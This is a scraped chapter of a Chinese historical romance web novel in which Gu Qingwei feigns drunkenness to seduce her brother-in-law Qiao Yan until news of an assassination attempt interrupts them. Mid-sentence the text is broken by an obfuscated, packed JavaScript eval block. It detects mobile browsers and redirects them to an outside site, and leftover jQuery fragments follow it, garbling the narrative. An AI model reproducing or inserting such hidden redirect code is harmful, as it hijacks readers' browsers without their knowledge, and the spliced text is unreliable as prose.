灯烛燃了半截，九霄楼的酒菜也上了桌。


    满满一大桌菜，色香味俱全。也不知是如何保存的，竟还冒着热气。


    顾清薇端起酒盏，酒居然也是温的。


    像嘴馋的小猫一样，她迫不及待地饮了半盏。


    松间雪的清冽裹着梅香入喉，浓烈却不呛鼻，咽下后舌尖还残留着梅花的芳香。


    顾清薇舔了舔唇角，眉眼弯弯，“好喝。”


    乔衍也执起酒盏从容不迫地饮了一杯，放下酒盏道：“不可贪杯。”语气虽淡，目光却在她满足的笑靥上停留了一瞬。


    顾清薇急忙将余下半杯饮完，皱了皱鼻头：“大伯哥，你真像个古板的老学究。”


    “呵。”


    乔衍的唇角翘了翘，虽然细微，却被顾清薇敏捷地捕捉到了。


    她瞪圆了眼，夸张地张大嘴巴说：“大伯哥，你居然会笑！我都看见了，你方才笑了！”


    “我还以为大伯哥只会板着脸呢。”她凑近了些，目光灼灼地望着他：“大伯哥，你笑起来真好看，以后应该多笑笑。”


    乔衍喉结上下一滚，他微微侧首，避开了那过于灼热的目光，攥紧的指尖泄露了他内心隐忍的克制。


    顾清薇支着下巴，望着还在装大尾巴狼的乔衍，心想，还装正经呢，尾巴迟早要露出来。


    酒过三巡。


    顾清薇双颊渐染霞色，乔衍依旧稳坐如山。


    她托腮望着乔衍，眼波流转如浸春水：“大伯哥…这酒叫松间雪，你觉得他像不像雪？”


    指尖无意识划过杯沿，声音软糯带钩：“看着冷，化了却是暖的…”


    她微微蹙眉，带着一丝醉态的困惑和娇憨，“我怎么现在感觉……浑身好热呀。”


    说话间，她似乎不胜酒力，身子轻轻晃了一下，手肘不经意地擦过乔衍放在桌沿的手臂。


    乔衍握杯的指节倏然收紧，杯中酒液也起了晃动。


    他放下酒盏，手指在酒盏的花纹上细细摩挲着，突然发问。


    “顾大人让你来京到底所为何事？”


    顾清薇的酒意瞬间消了大半，在心里长叹一声，害，总算是来了。


    她仍是醉眼朦胧，长长的睫毛颤了颤，那层水雾来得极快，几乎是瞬间便盈满了整个眼眶，将那份娇憨染上了浓重的委屈与哀伤。


    “其实……”她开口，声音带着哽咽的沙哑，“父亲让我来京，本、本是为了将我许给姐夫做妾。”


    她顿了顿，语气怅然：“后来，许是父亲改了主意，想将我送予……更高的门第吧。”


    ‘更高的门第’几个字，她说得极轻，带着一种认命般的自嘲。目光却像受惊的小鹿，怯生生地掠过乔衍那张轮廓分明的脸，又飞快地垂下。


    她端起酒盏，仰头一口饮尽，红着一双眼望向他：“大伯哥，你说……难道我，生来就只配做个物件，被人送来送去吗？我……就不值得寻一个真心待我，两情相悦的郎君吗？”


    最后一句，她几乎是泣不成声。


    烛火在沉默中噼啪轻响，乔衍的目光沉沉地落在她脸上，良久，他开口：“不是。”


    他微微停顿，目光依旧锁着她，“你值得。”


    顾清薇的眼泪还挂在睫毛上，可如今旁的念头都消散了，眼里只剩他。


    他的唇，薄且色淡，唇峰清晰，说话时，那唇瓣微微翕动，让人无端生出一股想要伸手去触碰，去融化他的念头。


    她感觉自己像被投入了熔炉，浑身血液都在逆流奔涌，叫嚣着渴望。乔衍越是这般克制、这般沉稳如山，越是散发出一种令人窒息的、想要撕碎他高冷禁欲外壳的欲念。


    她想，她真是醉了。


    她好想吃掉他。欺负他。


    那就……让她‘自愿’坠入他的陷阱吧。


    “真的吗？”她好奇地问，“那……大伯哥你会帮我的，对吗？”


    她仰着脸，那双平日里清澈灵动的眸子，此刻浸润在酒意里，带着不自知的懵懂与清纯。唇瓣因酒水的滋润而显得格外饱满嫣红，像初绽的花瓣，无声地诱人采撷。


    乔衍的眸光又沉了些，想到那晚在书房香甜的触感，他不动声色地开口：“表妹可有心仪之人？”


    顾清薇摇摇头：“什么才算的上是…心仪呢？”


    “想知道么？”


    “想。”


    “比如…”他停顿片刻，“和他亲近时，便会不自觉心跳失序，眼里只余他一人。”


    顾清薇呆呆望着他，清澈的眼眸盛满纯粹的好奇：“如何算是亲近？”


    乔衍嘴唇闪过极浅的笑，他没有立即回答，反而缓缓起身，绕过两人之间隔着的小木桌，站定在她身旁。


    他微微俯身，身上淡淡的墨香瞬间将她包围。


    “想知道？”他的低沉的嗓音就落在她的耳畔上方，“那…表妹不妨亲自体会一下。”


    “…如、如何体会？”说完，顾清薇佯装羞涩微微侧首，在他看不见的角度，一丝得逞的浅笑转瞬即逝。


    乔衍的目光落在她搁在桌上，微微蜷缩的手指上。他伸出自己的手，掌心向上，“亲近的第一步…或许是，肌肤相触。”


    他看着她，眼眸暗哑：“指尖相触，感受对方的存在和温度。”


    “表妹可要…试试？”


    顾清薇撞入他的眼眸，咬了咬唇，最终迟疑地抬起指尖，带着轻颤轻轻放在了他的掌心。


    下一瞬，似是被电到，她的指尖下意识就想逃，却被乔衍更快一步，用温热的掌心稳稳包裹着了她微凉的指尖。


    他并没有握紧，只是虚虚拢着，拇指的指腹却似有若无的在她的手背轻轻摩挲了一下。


    这个细微的动作让顾清薇浑身一颤，绯红蔓上了她的整片脖颈。


    “感受到了么？”乔衍的声线更低哑了，“这便是…亲近时的心跳失序。”


    被包裹的指尖像是着了火，顾清薇呆呆点头，不知所措。


    “还可以…再亲近一点。”他倾身，目光从她慌乱的眼眸下移，最终定格在她如花瓣般的唇上。


    “比如…这样。”声音低沉如耳语，他空闲的另一只手抬起，指腹带着滚烫的温度，缓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778915|174479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缓抚上她的脸颊。


    顾清薇僵在原地，眼睫颤动如小鹿乱撞。


    乔衍的目光紧锁她的唇瓣，拇指的指腹带着磨人的缓慢，沿着她的下颌线，轻轻滑向她的唇角。


    “表妹，”他低唤，气息拂过她敏感的耳垂：“真正的亲近…有时需要，唇齿相依。”


    “想知道…那是什么感觉吗？”


    顾清薇失神。


    “……想。”


    乔衍倏然一笑，他低头，与她鼻尖相抵：“那便不要克制。”


    是他欲壑难填，可他非要一步步引人入彀。


    她眨眼，在他诱哄的眸光中，竟大胆地捧起他的脸，吻了上去。


    蜻蜓点水般，她退开寸许，小手仍旧捧着他的脸颊，懵懂问道：“大伯哥…是这样么？”


    “！！！！”


    有那么几息，乔衍的世界都仿若静止了，什么东西在耳旁轰然炸响，什么都听不见了。


    连呼吸和心跳都停滞在这滚烫柔软的触感里。


    他猛地攥紧她覆在自己脸颊的手腕，暗哑的眼眸含着要将人吞噬殆尽的烈焰，但他向来…很有耐心。他喉结一滚，吐出几个字：


    “对，你做的很好…”


    顾清薇闻言弯眸一笑，她再次生涩地朝他靠近，没有一触即离，而是灼热的覆盖，大胆的试探。


    轰——！


    那双暗哑的眸子里，翻涌的烈焰猛地炸开，吞噬了最后一丝伪装的清明。


    下一秒，天旋地转。


    他攥着她的手腕，猛地一拽。力道大得几乎让她失去重心，一下子整个人撞进他怀里。


    呼吸贴得极近。她能听见他压着的喘息，也能听见自己心跳失了序的杂乱。


    他的气息侵占着她的每一寸肌肤。


    他的吻落下来，带着沉稳的缓慢，一点一点碾着她的唇，像是在把她的神志一点点剥开。


    他修长的指尖勾上系带，低喃道：“……我会对你负责的。”


    “砰砰——”


    门被敲响，竹影急切的声音在门外响起：“少爷，府上来人说，老爷方才回府的路上遇刺了！”


    炙热旖旎的吻戛然而止。


    “大伯哥……”她下意识地轻唤，声音带着情动后的绵软和一丝慌乱，小手无措地揪紧了他胸前的衣襟。


    他粗重的呼吸喷在顾清薇被他吻得嫣红湿润的唇上，声音暗哑得不成样子，从牙关挤出两字：


    “等我。”


    。


    顾清薇躺在软榻上，心头那股被骤然打断的烦闷挥之不去，像梗着一团湿冷的棉絮。


    思绪如浮萍，散了又聚，聚了又散，混沌一片。


    紫苏跪坐在榻边，指尖力道轻柔地按压着她的太阳穴，试图驱散那份不适。


    就在这半梦半醒的迷离之际——


    “吱——呀——”


    一声长调滞涩的开门声，在寂静的夜里突兀地响起，带着一种刻意的缓慢，如同钝刀划破了粘稠的空气。


    紫苏按揉的手指猛地顿住，惊得低呼出声：“谁？！”